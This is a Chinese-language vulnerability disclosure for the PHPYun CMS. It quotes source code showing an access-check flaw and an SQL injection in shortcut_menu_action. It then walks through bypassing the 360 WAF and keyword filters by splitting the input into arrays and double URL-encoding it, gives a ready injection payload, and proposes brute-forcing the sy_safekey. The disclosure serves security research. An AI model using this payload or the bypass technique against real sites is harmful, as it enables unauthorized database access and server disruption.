php 绕过gpc,phpyun绕过360艰难的SQL注射

漏洞作者： Map

我首先发现了一个SQL注射，这个过程也不轻松。

在phpyun/model/class/action.class.php中

[php]

function get_admin_user_shell(){

if($_SESSION['auid'] && $_SESSION['ashell']){

$row=$this->admin_get_user_shell($_SESSION['auid'],$_SESSION['ashell']);

if(!$row){$this->logout();echo "无权操作！";die;}

if($_GET['m']=="" || $_GET['m']=="index" || $_GET['m']=="ajax" || $_GET['m']=="admin_nav"){$_GET['m']="admin_right";}

$c=$_GET['c'];$m=$_GET['m'];

if($_GET['m']!="admin_right"){

$url=$_GET['m']=="cache"?"index.php?m=".$m."&c=".$c:"index.php?m=".$m;

$nav=$this->get_shell($row["m_id"],$url);

if(!$nav){$this->logout();echo "无权操作！";die;}

}

}else{

if($_GET['m']!=""){

$this->logout();

echo "无权操作！";die;

}

}

}

[/php]

注意那句

if($_GET['m']!=""){

没错，只要m为空，那么这个后台的操作是可以被任何人操作的，正好，有一个操作就存在SQL注射漏洞。

在/phpyun/admin/model/index.class.php中的代码里

[php]

function shortcut_menu_action(){

if($_POST['chk_value']){

$this->obj->DB_update_all("admin_navigation","`menu`='1'","`menu`='2'");

echo "`id` in(".@implode(',',$_POST['chk_value']).")";

$this->obj->DB_update_all("admin_navigation","`menu`='2'","`id` in(".@implode(',',$_POST['chk_value']).")");

echo 1;die;

}

}

[/php]

$_POST['chk_value']直接来自POST，直接进入了SQL语句。

但是如果你想POST内容，那么你还需要pytoken，这个又怎么拿到呢。

[php]

function admin(){

$r=$this->obj->get_admin_user_shell();

$this->registrs();

if($_POST){

if($_POST['pytoken']!=$_SESSION['pytoken']){

unset($_POST['pytoken']);

$this->obj->ACT_layer_msg("来源地址非法！",3,$this->config['sy_weburl']);

}

}

if(!$_SESSION['pytoken']){

$_SESSION['pytoken'] = substr(md5(uniqid().$_SESSION['auid'].$_SESSION['ausername'].$_SESSION['ashell']), 8, 12);

}

$this->yunset('pytoken',$_SESSION['pytoken']);

}

[/php]

注意这一句

[php]

if($_POST['pytoken']!=$_SESSION['pytoken']){

unset($_POST['pytoken']);

$this->obj->ACT_layer_msg("来源地址非法！",3,$this->config['sy_weburl']);

}

[/php]

不过这个没问题，在登陆的页面就有，访问：http://localhost:8038/phpyun/admin/就可以取到。

好，接下来就是最糟糕的地方了，360的防御。

我们试试最简单的 or 1=1 吧，看，360出来了(我把360的iframe页面修改成了echo 出来360几个字符了)。

查看data/db.safety.php会找到相应的代码，怎么bypass呢？

[php]

$postfilter = "<.>|<.>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|

[/php]

怎么绕过呢，简单来说，只需要是多个数组就可以绕过了。

看，出现了新的情况，or被替换成了Ｏr。

这部分的代码在：

[php]

function gpc2sql($str) {

if(preg_match("/select|insert|update|delete|union|into|load_file|outfile/is", $str))

{

exit(safe_pape());

}

$arr=array(" and "=>" an d "," or "=>" Ｏr ","%20"=>"","select"=>"Ｓelect","update"=>"Ｕpdate","count"=>"Ｃount","chr"=>"Ｃhr","truncate"=>"Ｔruncate","union"=>"Ｕnion","delete"=>"Ｄelete","insert"=>"Ｉnsert");

foreach($arr as $key=>$v){

$str = preg_replace('/'.$key.'/isU',$v,$str);

}

[/php]

如何避免被替换呢，有两个方法。

1，"%20"=>""

看，%20被替换成空了，我们只需要提交

chk_value[]=1) o%2520r /*&chk_value[]=*/1=1#&pytoken=9a54d50f315b

%2520会被webserver转换成%20,%20就会被删除，留下的就是or了。

由于or和and在%20的数组之前，我们才可以这么做的，但是select是不可以的，所以可以试试方法2

if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])

只需要知道sy_safekey，就可以实现SQL注射，sy_safekey怎么生成的。

$r=rand(10000000,99999999);

mysql_query("update $table_config set `config`='$r' where `name`='sy_safekey'");

漏洞证明：

如果我们想让服务器挂掉或者查询当前的数据库环境，很容易，我们可以很轻松的sleep或者获取当前运行的数据库信息了，这些不依赖select字符的事情我们都可以做了。

但是如果我们想做更多的事情，那么，我们就需要写个程序，post safekey到http://localhost:8038//phpyun/index.php?m=com&c=search&keyword=count，最多7999万次直到返回的count是count而不是Ｃount，那么你就获取了sy_safekey，那么你就可以为所欲为了。